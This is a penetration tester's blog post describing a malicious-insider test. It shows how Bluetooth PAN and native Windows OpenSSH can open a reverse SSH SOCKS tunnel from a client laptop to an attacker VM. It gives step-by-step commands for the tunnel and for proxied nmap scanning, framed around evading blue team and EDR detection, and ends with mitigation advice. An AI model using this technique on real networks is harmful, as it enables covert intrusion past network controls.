Living off the land with Bluetooth PAN

TL:DR

• Bluetooth is enabled by default on the majority of Windows laptops
• Bluetooth PAN can be used to bridge connections locally between a client laptop and attacking device
• Attackers can use Microsoft native SSH client to forward out internal network traffic
• Windows native SSH is accessible to low-privileged users by default
• The attack only needs minimal set-up and commands
• Quicker and more cost effective for an attacker than using C2 infrastructure
• Reduces likelihood of Blue team detection

Introduction

Recently I performed a malicious insider simulation, where one of the goals of the test was to be stealthy and minimise detection. Often, accessing a client’s internal network would be as simple as connecting my testing laptop to a local Ethernet port, but the client had controlled access to their internal network with a VPN gateway, and had effective client isolation in their office. This blocked non-corporate devices from accessing the internal network, as well as to other local connected devices.

To counter this, I used Bluetooth Personal Area Network (BTPAN) to create a local network between the client laptop and a Linux VM hosted on my attacking device. With this network established, I could create a reverse SSH proxy to tunnel into their internal network, sending traffic through the client laptop and VPN gateway.

This technique is useful as both tools are native to Windows, reducing the likelihood of blue team detection, and tunnelling Linux commands / tooling through the laptop in many cases won’t be flagged by EDR (unless you are doing something really noisy, like mass port scanning). This also removes the need to plug your testing laptop directly into the client network, where new devices may be monitored and flagged. This meant that I didn’t have to use a C2 server over the public Internet, improving simplicity, stability, and latency for testing.

Bluetooth PAN Remote Tunnel into Internal Network

The diagram below shows the technique’s traffic flow in a local Bluetooth PAN between an attacker and victim device, where OpenSSH is then used to create a reverse SSH tunnel. This tunnel allows malicious tools to be proxied into the internal network from the attacker device.

1. On a controlled client laptop, establish a Bluetooth PAN between the attacker and victim device.
2. OpenSSH is a remote access tool installed by default on Windows. Set up a reverse SSH proxy (tunnel) between the devices.
3. Malicious tooling can now be proxied into the network via this tunnel, to enumerate and attack hosts on the internal network

Steps:

• Purchase a Bluetooth adapter e.g. https://www.amazon.co.uk/StarTech-Bluetooth-Computer-Keyboard-USBA-BLUETOOTH-V5-C2/dp/B0B2737HPS, and connect it to your VM.
• Run the following commands to enable Bluetooth:
  sudo systemctl start bluetooth
  sudo systemctl enable Bluetooth

• In Bluetooth Manager, Go to View -> Services -> Enable Network Access Point (NAP), and note your IP address.

• Make the adapter discoverable, so that the client laptop can connect to the adapter.

• On the client laptop, in Bluetooth & Devices settings, find and connect to the adapter.
• Once connected, click the ‘more options’ button and click ‘Join Personal Area Network (PAN)’.

• You should now have a local network established with your attacking laptop’s VM. You can now establish a reverse SSH proxy as described in the following blog post: https://www.pentestpartners.com/security-blog/living-off-the-land-with-native-ssh-and-split-tunnelling/. For completeness, this can be achieved by doing the following:
  1. Create an SSH key pair on the client laptop and exfiltrate the id_rsa.pub key to your laptop
     1. ssh-keygen

1. Add the contents of id_rsa.pub to your attacking Linux VM’s authorized_keys file:
   1. cat id_rsa.pub >> /home/kali/.ssh/authorized_keys
2. enable SSH service on the Linux VM
   1. sudo systemctl enable ssh
3. On the client laptop, enter the following command to establish the SOCKS proxy through the SSH tunnel:
   127. ssh -R 127.0.0.1:9050 kali@VM_Bluetooth_PAN_IP_Address

1. You should now be able to execute commands in the client’s internal network by using proxychains, e.g.,
   1. proxychains nmap -p445 domain_controller_ip_address

Conclusion

Just like in the living off the land native SSH blog post, this is not a new and clever method of attack, rather it is using tools that are built-in to Windows to present an unexpected vector for access to networks that could mask many of the common tools used to assess a network.

To minimise the risk good practice is to disable unused facilities, in this case:

• BTPAN
• OpenSSH

Look at disabling these using  Intune / Group Policy configuration policies. If there is a justification for their use, consider monitoring the usage of these tools in your environment.